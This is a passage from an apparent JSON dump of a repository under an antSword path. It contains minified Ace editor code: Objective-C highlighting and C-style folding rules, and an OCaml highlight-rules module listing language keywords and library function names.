acking|StringEncoding))|P(?:o(?:s(?:t(?:Now|erFontMask|WhenIdle|ASAP)|iti(?:on(?:Replace|Be(?:fore|ginning)|End|After)|ve(?:IntType|DoubleType|FloatType)))|pUp(?:NoArrow|ArrowAt(?:Bottom|Center))|werOffEventType|rtraitOrientation)|NGFileType|ush(?:InCell(?:Mask)?|OnPushOffButton)|e(?:n(?:TipMask|UpperSideMask|PointingDevice|LowerSideMask)|riodic(?:Mask)?)|P(?:S(?:caleField|tatus(?:Title|Field)|aveButton)|N(?:ote(?:Title|Field)|ame(?:Title|Field))|CopiesField|TitleField|ImageButton|OptionsButton|P(?:a(?:perFeedButton|ge(?:Range(?:To|From)|ChoiceMatrix))|reviewButton)|LayoutButton)|lainTextTokenStyle|a(?:useFunctionKey|ragraphSeparatorCharacter|ge(?:DownFunctionKey|UpFunctionKey))|r(?:int(?:ing(?:ReplyLater|Success|Cancelled|Failure)|ScreenFunctionKey|erTable(?:NotFound|OK|Error)|FunctionKey)|o(?:p(?:ertyList(?:XMLFormat|MutableContainers(?:AndLeaves)?|BinaryFormat|Immutable|OpenStepFormat)|rietaryStringEncoding)|gressIndicator(?:BarStyle|SpinningStyle|Preferred(?:SmallThickness|Thickness|LargeThickness|AquaThickness)))|e(?:ssedTab|vFunctionKey))|L(?:HeightForm|CancelButton|TitleField|ImageButton|O(?:KButton|rientationMatrix)|UnitsButton|PaperNameButton|WidthForm))|E(?:n(?:terCharacter|d(?:sWith(?:Comparison|PredicateOperatorType)|FunctionKey))|v(?:e(?:nOddWindingRule|rySubelement)|aluatedObjectExpressionType)|qualTo(?:Comparison|PredicateOperatorType)|ra(?:serPointingDevice|CalendarUnit|DatePickerElementFlag)|x(?:clude(?:10|QuickDrawElementsIconCreationOption)|pandedFontMask|ecuteFunctionKey))|V(?:i(?:ew(?:M(?:in(?:XMargin|YMargin)|ax(?:XMargin|YMargin))|HeightSizable|NotSizable|WidthSizable)|aPanelFontAction)|erticalRuler|a(?:lidationErrorM(?:inimum|aximum)|riableExpressionType))|Key(?:SpecifierEvaluationScriptError|Down(?:Mask)?|Up(?:Mask)?|PathExpressionType|Value(?:MinusSetMutation|SetSetMutation|Change(?:Re(?:placement|moval)|Setting|Insertion)|IntersectSetMutation|ObservingOption(?:New|Old)|UnionSetMutation|ValidationError))|QTMovie(?:NormalPlayback|Looping(?:BackAndForthPlayback|Playback))|F(?:1(?:1FunctionKey|7FunctionKey|2FunctionKey|8FunctionKey|3FunctionKey|9FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey|6FunctionKey)|7FunctionKey|i(?:nd(?:PanelAction(?:Replace(?:A(?:ndFind|ll(?:InSelection)?))?|S(?:howFindPanel|e(?:tFindString|lectAll(?:InSelection)?))|Next|Previous)|FunctionKey)|tPagination|le(?:Read(?:No(?:SuchFileError|PermissionError)|CorruptFileError|In(?:validFileNameError|applicableStringEncodingError)|Un(?:supportedSchemeError|knownError))|HandlingPanel(?:CancelButton|OKButton)|NoSuchFileError|ErrorM(?:inimum|aximum)|Write(?:NoPermissionError|In(?:validFileNameError|applicableStringEncodingError)|OutOfSpaceError|Un(?:supportedSchemeError|knownError))|LockingError)|xedPitchFontMask)|2(?:1FunctionKey|7FunctionKey|2FunctionKey|8FunctionKey|3FunctionKey|9FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey|6FunctionKey)|o(?:nt(?:Mo(?:noSpaceTrait|dernSerifsClass)|BoldTrait|S(?:ymbolicClass|criptsClass|labSerifsClass|ansSerifClass)|C(?:o(?:ndensedTrait|llectionApplicationOnlyMask)|larendonSerifsClass)|TransitionalSerifsClass|I(?:ntegerAdvancementsRenderingMode|talicTrait)|O(?:ldStyleSerifsClass|rnamentalsClass)|DefaultRenderingMode|U(?:nknownClass|IOptimizedTrait)|Panel(?:S(?:hadowEffectModeMask|t(?:andardModesMask|rikethroughEffectModeMask)|izeModeMask)|CollectionModeMask|TextColorEffectModeMask|DocumentColorEffectModeMask|UnderlineEffectModeMask|FaceModeMask|All(?:ModesMask|EffectsModeMask))|ExpandedTrait|VerticalTrait|F(?:amilyClassMask|reeformSerifsClass)|Antialiased(?:RenderingMode|IntegerAdvancementsRenderingMode))|cusRing(?:Below|Type(?:None|Default|Exterior)|Only|Above)|urByteGlyphPacking|rm(?:attingError(?:M(?:inimum|aximum))?|FeedCharacter))|8FunctionKey|unction(?:ExpressionType|KeyMask)|3(?:1FunctionKey|2FunctionKey|3FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey)|9FunctionKey|4FunctionKey|P(?:RevertButton|S(?:ize(?:Title|Field)|etButton)|CurrentField|Preview(?:Button|Field))|l(?:oat(?:ingPointSamplesBitmapFormat|Type)|agsChanged(?:Mask)?)|axButton|5FunctionKey|6FunctionKey)|W(?:heelModeColorPanel|indow(?:s(?:NTOperatingSystem|CP125(?:1StringEncoding|2StringEncoding|3StringEncoding|4StringEncoding|0StringEncoding)|95(?:InterfaceStyle|OperatingSystem))|M(?:iniaturizeButton|ovedEventType)|Below|CloseButton|ToolbarButton|ZoomButton|Out|DocumentIconButton|ExposedEventType|Above)|orkspaceLaunch(?:NewInstance|InhibitingBackgroundOnly|Default|PreferringClassic|WithoutA(?:ctivation|ddingToRecents)|A(?:sync|nd(?:Hide(?:Others)?|Print)|llowingClassicStartup))|eek(?:day(?:CalendarUnit|OrdinalCalendarUnit)|CalendarUnit)|a(?:ntsBidiLevels|rningAlertStyle)|r(?:itingDirection(?:RightToLeft|Natural|LeftToRight)|apCalendarComponents))|L(?:i(?:stModeMatrix|ne(?:Moves(?:Right|Down|Up|Left)|B(?:order|reakBy(?:C(?:harWrapping|lipping)|Truncating(?:Middle|Head|Tail)|WordWrapping))|S(?:eparatorCharacter|weep(?:Right|Down|Up|Left))|ToBezierPathElement|DoesntMove|arSlider)|teralSearch|kePredicateOperatorType|ghterFontAction|braryDirectory)|ocalDomainMask|e(?:ssThan(?:Comparison|OrEqualTo(?:Comparison|PredicateOperatorType)|PredicateOperatorType)|ft(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|T(?:ext(?:Movement|Alignment)|ab(?:sBezelBorder|StopType))|ArrowFunctionKey))|a(?:yout(?:RightToLeft|NotDone|CantFit|OutOfGlyphs|Done|LeftToRight)|ndscapeOrientation)|ABColorSpaceModel)|A(?:sc(?:iiWithDoubleByteEUCGlyphPacking|endingPageOrder)|n(?:y(?:Type|PredicateModifier|EventMask)|choredSearch|imation(?:Blocking|Nonblocking(?:Threaded)?|E(?:ffect(?:DisappearingItemDefault|Poof)|ase(?:In(?:Out)?|Out))|Linear)|dPredicateType)|t(?:Bottom|tachmentCharacter|omicWrite|Top)|SCIIStringEncoding|d(?:obe(?:GB1CharacterCollection|CNS1CharacterCollection|Japan(?:1CharacterCollection|2CharacterCollection)|Korea1CharacterCollection)|dTraitFontAction|minApplicationDirectory)|uto(?:saveOperation|Pagination)|pp(?:lication(?:SupportDirectory|D(?:irectory|e(?:fined(?:Mask)?|legateReply(?:Success|Cancel|Failure)|activatedEventType))|ActivatedEventType)|KitDefined(?:Mask)?)|l(?:ternateKeyMask|pha(?:ShiftKeyMask|NonpremultipliedBitmapFormat|FirstBitmapFormat)|ert(?:SecondButtonReturn|ThirdButtonReturn|OtherReturn|DefaultReturn|ErrorReturn|FirstButtonReturn|AlternateReturn)|l(?:ScrollerParts|DomainsMask|PredicateModifier|LibrariesDirectory|ApplicationsDirectory))|rgument(?:sWrongScriptError|EvaluationScriptError)|bove(?:Bottom|Top)|WTEventType)))(?:\\\\b)\"},{token:\"support.function.C99.c\",regex:s.cFunctions},{token:n.getKeywords(),regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.section.scope.begin.objc\",regex:\"\\\\[\",next:\"bracketed_content\"},{token:\"meta.function.objc\",regex:\"^(?:-|\\\\+)\\\\s*\"}],constant_NSString:[{token:\"constant.character.escape.objc\",regex:e},{token:\"invalid.illegal.unknown-escape.objc\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"punctuation.definition.string.end\",regex:'\"',next:\"start\"}],protocol_list:[{token:\"punctuation.section.scope.end.objc\",regex:\">\",next:\"start\"},{token:\"support.other.protocol.objc\",regex:\"\\bNS(?:GlyphStorage|M(?:utableCopying|enuItem)|C(?:hangeSpelling|o(?:ding|pying|lorPicking(?:Custom|Default)))|T(?:oolbarItemValidations|ext(?:Input|AttachmentCell))|I(?:nputServ(?:iceProvider|erMouseTracker)|gnoreMisspelledWords)|Obj(?:CTypeSerializationCallBack|ect)|D(?:ecimalNumberBehaviors|raggingInfo)|U(?:serInterfaceValidations|RL(?:HandleClient|DownloadDelegate|ProtocolClient|AuthenticationChallengeSender))|Validated(?:ToobarItem|UserInterfaceItem)|Locking)\\b\"}],selectors:[{token:\"support.function.any-method.name-of-parameter.objc\",regex:\"\\\\b(?:[a-zA-Z_:][\\\\w]*)+\"},{token:\"punctuation\",regex:\"\\\\)\",next:\"start\"}],bracketed_content:[{token:\"punctuation.section.scope.end.objc\",regex:\"]\",next:\"start\"},{token:[\"support.function.any-method.objc\"],regex:\"(?:predicateWithFormat:| NSPredicate predicateWithFormat:)\",next:\"start\"},{token:\"support.function.any-method.objc\",regex:\"\\\\w+(?::|(?=]))\",next:\"start\"}],bracketed_strings:[{token:\"punctuation.section.scope.end.objc\",regex:\"]\",next:\"start\"},{token:\"keyword.operator.logical.predicate.cocoa\",regex:\"\\\\b(?:AND|OR|NOT|IN)\\\\b\"},{token:[\"invalid.illegal.unknown-method.objc\",\"punctuation.separator.arguments.objc\"],regex:\"\\\\b(w+)(:)\"},{regex:\"\\\\b(?:ALL|ANY|SOME|NONE)\\\\b\",token:\"constant.language.predicate.cocoa\"},{regex:\"\\\\b(?:NULL|NIL|SELF|TRUE|YES|FALSE|NO|FIRST|LAST|SIZE)\\\\b\",token:\"constant.language.predicate.cocoa\"},{regex:\"\\\\b(?:MATCHES|CONTAINS|BEGINSWITH|ENDSWITH|BETWEEN)\\\\b\",token:\"keyword.operator.comparison.predicate.cocoa\"},{regex:\"\\\\bC(?:ASEINSENSITIVE|I)\\\\b\",token:\"keyword.other.modifier.predicate.cocoa\"},{regex:\"\\\\b(?:ANYKEY|SUBQUERY|CAST|TRUEPREDICATE|FALSEPREDICATE)\\\\b\",token:\"keyword.other.predicate.cocoa\"},{regex:e,token:\"constant.character.escape.objc\"},{regex:\"\\\\\\\\.\",token:\"invalid.illegal.unknown-escape.objc\"},{token:\"string\",regex:'[^\"\\\\\\\\]'},{token:\"punctuation.definition.string.end.objc\",regex:'\"',next:\"predicates\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],methods:[{token:\"meta.function.objc\",regex:\"(?=\\\\{|#)|;\",next:\"start\"}]};for(var u in r)this.$rules[u]?this.$rules[u].push&&this.$rules[u].push.apply(this.$rules[u],r[u]):this.$rules[u]=r[u];this.$rules.bracketed_content=this.$rules.bracketed_content.concat(this.$rules.start,t),this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,o),t.ObjectiveCHighlightRules=u}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/objectivec\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/objectivec_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./objectivec_highlight_rules\").ObjectiveCHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/objectivec\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ocaml.js",
    "content": "ace.define(\"ace/mode/ocaml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|match|method|module|mutable|new|object|of|open|or|private|rec|sig|struct|then|to|try|type|val|virtual|when|while|with\",t=\"true|false\",n=\"abs|abs_big_int|abs_float|abs_num|abstract_tag|accept|access|acos|add|add_available_units|add_big_int|add_buffer|add_channel|add_char|add_initializer|add_int_big_int|add_interfaces|add_num|add_string|add_substitute|add_substring|alarm|allocated_bytes|allow_only|allow_unsafe_modules|always|append|appname_get|appname_set|approx_num_exp|approx_num_fix|arg|argv|arith_status|array|array1_of_genarray|array2_of_genarray|array3_of_genarray|asin|asr|assoc|assq|at_exit|atan|atan2|auto_synchronize|background|basename|beginning_of_input|big_int_of_int|big_int_of_num|big_int_of_string|bind|bind_class|bind_tag|bits|bits_of_float|black|blit|blit_image|blue|bool|bool_of_string|bounded_full_split|bounded_split|bounded_split_delim|bprintf|break|broadcast|bscanf|button_down|c_layout|capitalize|cardinal|cardinal|catch|catch_break|ceil|ceiling_num|channel|char|char_of_int|chdir|check|check_suffix|chmod|choose|chop_extension|chop_suffix|chown|chown|chr|chroot|classify_float|clear|clear_available_units|clear_close_on_exec|clear_graph|clear_nonblock|clear_parser|close|close|closeTk|close_box|close_graph|close_in|close_in_noerr|close_out|close_out_noerr|close_process|close_process|close_process_full|close_process_in|close_process_out|close_subwindow|close_tag|close_tbox|closedir|closedir|closure_tag|code|combine|combine|combine|command|compact|compare|compare_big_int|compare_num|complex32|complex64|concat|conj|connect|contains|contains_from|contents|copy|cos|cosh|count|count|counters|create|create_alarm|create_image|create_matrix|create_matrix|create_matrix|create_object|create_object_and_run_initializers|create_object_opt|create_process|create_process|create_process_env|create_process_env|create_table|current|current_dir_name|current_point|current_x|current_y|curveto|custom_tag|cyan|data_size|decr|decr_num|default_available_units|delay|delete_alarm|descr_of_in_channel|descr_of_out_channel|destroy|diff|dim|dim1|dim2|dim3|dims|dirname|display_mode|div|div_big_int|div_num|double_array_tag|double_tag|draw_arc|draw_char|draw_circle|draw_ellipse|draw_image|draw_poly|draw_poly_line|draw_rect|draw_segments|draw_string|dummy_pos|dummy_table|dump_image|dup|dup2|elements|empty|end_of_input|environment|eprintf|epsilon_float|eq_big_int|eq_num|equal|err_formatter|error_message|escaped|establish_server|executable_name|execv|execve|execvp|execvpe|exists|exists2|exit|exp|failwith|fast_sort|fchmod|fchown|field|file|file_exists|fill|fill_arc|fill_circle|fill_ellipse|fill_poly|fill_rect|filter|final_tag|finalise|find|find_all|first_chars|firstkey|flatten|float|float32|float64|float_of_big_int|float_of_bits|float_of_int|float_of_num|float_of_string|floor|floor_num|flush|flush_all|flush_input|flush_str_formatter|fold|fold_left|fold_left2|fold_right|fold_right2|for_all|for_all2|force|force_newline|force_val|foreground|fork|format_of_string|formatter_of_buffer|formatter_of_out_channel|fortran_layout|forward_tag|fprintf|frexp|from|from_channel|from_file|from_file_bin|from_function|from_string|fscanf|fst|fstat|ftruncate|full_init|full_major|full_split|gcd_big_int|ge_big_int|ge_num|genarray_of_array1|genarray_of_array2|genarray_of_array3|get|get_all_formatter_output_functions|get_approx_printing|get_copy|get_ellipsis_text|get_error_when_null_denominator|get_floating_precision|get_formatter_output_functions|get_formatter_tag_functions|get_image|get_margin|get_mark_tags|get_max_boxes|get_max_indent|get_method|get_method_label|get_normalize_ratio|get_normalize_ratio_when_printing|get_print_tags|get_state|get_variable|getcwd|getegid|getegid|getenv|getenv|getenv|geteuid|geteuid|getgid|getgid|getgrgid|getgrgid|getgrnam|getgrnam|getgroups|gethostbyaddr|gethostbyname|gethostname|getitimer|getlogin|getpeername|getpid|getppid|getprotobyname|getprotobynumber|getpwnam|getpwuid|getservbyname|getservbyport|getsockname|getsockopt|getsockopt_float|getsockopt_int|getsockopt_optint|gettimeofday|getuid|global_replace|global_substitute|gmtime|green|grid|group_beginning|group_end|gt_big_int|gt_num|guard|handle_unix_error|hash|hash_param|hd|header_size|i|id|ignore|in_channel_length|in_channel_of_descr|incr|incr_num|index|index_from|inet_addr_any|inet_addr_of_string|infinity|infix_tag|init|init_class|input|input_binary_int|input_byte|input_char|input_line|input_value|int|int16_signed|int16_unsigned|int32|int64|int8_signed|int8_unsigned|int_of_big_int|int_of_char|int_of_float|int_of_num|int_of_string|integer_num|inter|interactive|inv|invalid_arg|is_block|is_empty|is_implicit|is_int|is_int_big_int|is_integer_num|is_relative|iter|iter2|iteri|join|junk|key_pressed|kill|kind|kprintf|kscanf|land|last_chars|layout|lazy_from_fun|lazy_from_val|lazy_is_val|lazy_tag|ldexp|le_big_int|le_num|length|lexeme|lexeme_char|lexeme_end|lexeme_end_p|lexeme_start|lexeme_start_p|lineto|link|list|listen|lnot|loadfile|loadfile_private|localtime|lock|lockf|log|log10|logand|lognot|logor|logxor|lor|lower_window|lowercase|lseek|lsl|lsr|lstat|lt_big_int|lt_num|lxor|magenta|magic|mainLoop|major|major_slice|make|make_formatter|make_image|make_lexer|make_matrix|make_self_init|map|map2|map_file|mapi|marshal|match_beginning|match_end|matched_group|matched_string|max|max_array_length|max_big_int|max_elt|max_float|max_int|max_num|max_string_length|mem|mem_assoc|mem_assq|memq|merge|min|min_big_int|min_elt|min_float|min_int|min_num|minor|minus_big_int|minus_num|minus_one|mkdir|mkfifo|mktime|mod|mod_big_int|mod_float|mod_num|modf|mouse_pos|moveto|mul|mult_big_int|mult_int_big_int|mult_num|nan|narrow|nat_of_num|nativeint|neg|neg_infinity|new_block|new_channel|new_method|new_variable|next|nextkey|nice|nice|no_scan_tag|norm|norm2|not|npeek|nth|nth_dim|num_digits_big_int|num_dims|num_of_big_int|num_of_int|num_of_nat|num_of_ratio|num_of_string|O|obj|object_tag|ocaml_version|of_array|of_channel|of_float|of_int|of_int32|of_list|of_nativeint|of_string|one|openTk|open_box|open_connection|open_graph|open_hbox|open_hovbox|open_hvbox|open_in|open_in_bin|open_in_gen|open_out|open_out_bin|open_out_gen|open_process|open_process_full|open_process_in|open_process_out|open_subwindow|open_tag|open_tbox|open_temp_file|open_vbox|opendbm|opendir|openfile|or|os_type|out_channel_length|out_channel_of_descr|output|output_binary_int|output_buffer|output_byte|output_char|output_string|output_value|over_max_boxes|pack|params|parent_dir_name|parse|parse_argv|partition|pause|peek|pipe|pixels|place|plot|plots|point_color|polar|poll|pop|pos_in|pos_out|pow|power_big_int_positive_big_int|power_big_int_positive_int|power_int_positive_big_int|power_int_positive_int|power_num|pp_close_box|pp_close_tag|pp_close_tbox|pp_force_newline|pp_get_all_formatter_output_functions|pp_get_ellipsis_text|pp_get_formatter_output_functions|pp_get_formatter_tag_functions|pp_get_margin|pp_get_mark_tags|pp_get_max_boxes|pp_get_max_indent|pp_get_print_tags|pp_open_box|pp_open_hbox|pp_open_hovbox|pp_open_hvbox|pp_open_tag|pp_open_tbox|pp_open_vbox|pp_over_max_boxes|pp_print_as|pp_print_bool|pp_print_break|pp_print_char|pp_print_cut|pp_print_float|pp_print_flush|pp_print_if_newline|pp_print_int|pp_print_newline|pp_print_space|pp_print_string|pp_print_tab|pp_print_tbreak|pp_set_all_formatter_output_functions|pp_set_ellipsis_text|pp_set_formatter_out_channel|pp_set_formatter_output_functions|pp_set_formatter_tag_functions|pp_set_margin|pp_set_mark_tags|pp_set_max_boxes|pp_set_max_indent|pp_set_print_tags|pp_set_tab|pp_set_tags|pred|pred_big_int|pred_num|prerr_char|prerr_endline|prerr_float|prerr_int|prerr_newline|prerr_string|print|print_as|print_bool|print_break|print_char|print_cut|print_endline|print_float|print_flush|print_if_newline|print_int|print_newline|print_space|print_stat|print_string|print_tab|print_tbreak|printf|prohibit|public_method_label|push|putenv|quo_num|quomod_big_int|quote|raise|raise_window|ratio_of_num|rcontains_from|read|read_float|read_int|read_key|read_line|readdir|readdir|readlink|really_input|receive|recv|recvfrom|red|ref|regexp|regexp_case_fold|regexp_string|regexp_string_case_fold|register|register_exception|rem|remember_mode|remove|remove_assoc|remove_assq|rename|replace|replace_first|replace_matched|repr|reset|reshape|reshape_1|reshape_2|reshape_3|rev|rev_append|rev_map|rev_map2|rewinddir|rgb|rhs_end|rhs_end_pos|rhs_start|rhs_start_pos|rindex|rindex_from|rlineto|rmdir|rmoveto|round_num|run_initializers|run_initializers_opt|scanf|search_backward|search_forward|seek_in|seek_out|select|self|self_init|send|sendto|set|set_all_formatter_output_functions|set_approx_printing|set_binary_mode_in|set_binary_mode_out|set_close_on_exec|set_close_on_exec|set_color|set_ellipsis_text|set_error_when_null_denominator|set_field|set_floating_precision|set_font|set_formatter_out_channel|set_formatter_output_functions|set_formatter_tag_functions|set_line_width|set_margin|set_mark_tags|set_max_boxes|set_max_indent|set_method|set_nonblock|set_nonblock|set_normalize_ratio|set_normalize_ratio_when_printing|set_print_tags|set_signal|set_state|set_tab|set_tag|set_tags|set_text_size|set_window_title|setgid|setgid|setitimer|setitimer|setsid|setsid|setsockopt|setsockopt|setsockopt_float|setsockopt_float|setsockopt_int|setsockopt_int|setsockopt_optint|setsockopt_optint|setuid|setuid|shift_left|shift_left|shift_left|shift_right|shift_right|shift_right|shift_right_logical|shift_right_logical|shift_right_logical|show_buckets|shutdown|shutdown|shutdown_connection|shutdown_connection|sigabrt|sigalrm|sigchld|sigcont|sigfpe|sighup|sigill|sigint|sigkill|sign_big_int|sign_num|signal|signal|sigpending|sigpending|sigpipe|sigprocmask|sigprocmask|sigprof|sigquit|sigsegv|sigstop|sigsuspend|sigsuspend|sigterm|sigtstp|sigttin|sigttou|sigusr1|sigusr2|sigvtalrm|sin|singleton|sinh|size|size|size_x|size_y|sleep|sleep|sleep|slice_left|slice_left|slice_left_1|slice_left_2|slice_right|slice_right|slice_right_1|slice_right_2|snd|socket|socket|socket|socketpair|socketpair|sort|sound|split|split_delim|sprintf|sprintf|sqrt|sqrt|sqrt_big_int|square_big_int|square_num|sscanf|stable_sort|stable_sort|stable_sort|stable_sort|stable_sort|stable_sort|stat|stat|stat|stat|stat|stats|stats|std_formatter|stdbuf|stderr|stderr|stderr|stdib|stdin|stdin|stdin|stdout|stdout|stdout|str_formatter|string|string_after|string_before|string_match|string_of_big_int|string_of_bool|string_of_float|string_of_format|string_of_inet_addr|string_of_inet_addr|string_of_int|string_of_num|string_partial_match|string_tag|sub|sub|sub_big_int|sub_left|sub_num|sub_right|subset|subset|substitute_first|substring|succ|succ|succ|succ|succ_big_int|succ_num|symbol_end|symbol_end_pos|symbol_start|symbol_start_pos|symlink|symlink|sync|synchronize|system|system|system|tag|take|tan|tanh|tcdrain|tcdrain|tcflow|tcflow|tcflush|tcflush|tcgetattr|tcgetattr|tcsendbreak|tcsendbreak|tcsetattr|tcsetattr|temp_file|text_size|time|time|time|timed_read|timed_write|times|times|tl|tl|tl|to_buffer|to_channel|to_float|to_hex|to_int|to_int32|to_list|to_list|to_list|to_nativeint|to_string|to_string|to_string|to_string|to_string|top|top|total_size|transfer|transp|truncate|truncate|truncate|truncate|truncate|truncate|try_lock|umask|umask|uncapitalize|uncapitalize|uncapitalize|union|union|unit_big_int|unlink|unlink|unlock|unmarshal|unsafe_blit|unsafe_fill|unsafe_get|unsafe_get|unsafe_set|unsafe_set|update|uppercase|uppercase|uppercase|uppercase|usage|utimes|utimes|wait|wait|wait|wait|wait_next_event|wait_pid|wait_read|wait_signal|wait_timed_read|wait_timed_write|wait_write|waitpid|white|widen|window_id|word_size|wrap|wrap_abort|write|yellow|yield|zero|zero_big_int|Arg|Arith_status|Array|Array1|Array2|Array3|ArrayLabels|Big_int|Bigarray|Buffer|Callback|CamlinternalOO|Char|Complex|Condition|Dbm|Digest|Dynlink|Event|Filename|Format|Gc|Genarray|Genlex|Graphics|GraphicsX11|Hashtbl|Int32|Int64|LargeFile|Lazy|Lexing|List|ListLabels|Make|Map|Marshal|MoreLabels|Mutex|Nativeint|Num|Obj|Oo|Parsing|Pervasives|Printexc|Printf|Queue|Random|Scanf|Scanning|Set|Sort|Stack|State|StdLabels|Str|Stream|String|StringLabels|Sys|Thread|ThreadUnix|Tk|Unix|UnixLabels|Weak\",r=this.createKeywordMapper({\"variable.language\":\"this\",keyword:e,\"constant.language\":t,\"support.function\":n},\"identifier\"),i=\"(?:(?:[1-9]\\\\d*)|(?:0))\",s=\"(?:0[oO]?[0-7]+)\",o=\"(?:0[xX][\\\\dA-Fa-f]+)\",u=\"(?:0[bB][01]+)\",a=\"(?:\"+i+\"|\"+s+\"|\"+o+\"|\"+u+\")\",f=\"(?:[eE][+-]?\\\\d+)\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:(?:\"+h+\"|\"+c+\")\"+f+\")\",d=\"(?:\"+p+\"|\"+h+\")\";this.$rules={start:[{token:\"comment\",regex:\"\\\\(\\\\*.*?\\\\*\\\\)\\\\s*?$\"},{token:\"comment\",regex:\"\\\\(\\\\*.*\",next:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"'.'\"},{token:\"string\",regex:'\"',next:\"qstring\"},{token:\"constant.numeric\",regex:\"(?:\"+d+\"|\\\\d+)[jJ]\\\\b\"},{token:\"constant.numeric\",regex:d},{token:\"constant.numeric\",regex:a+\"\\\\b\"},{token:r,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+\\\\.|\\\\-\\\\.|\\\\*\\\\.|\\\\/\\\\.|#|;;|\\\\+|\\\\-|\\\\*|\\\\*\\\\*\\\\/|\\\\/\\\\/|%|<<|>>|&|\\\\||\\\\^|~|<|>|<=|=>|==|!=|<>|<-|=\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"},{token:\"text\",regex:\"\\\\s+\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\)\",next:\"start\"},{token:\"comment\",regex:\".+\"}],qstring:[{token:\"string\",regex:'\"',next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.OcamlHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new 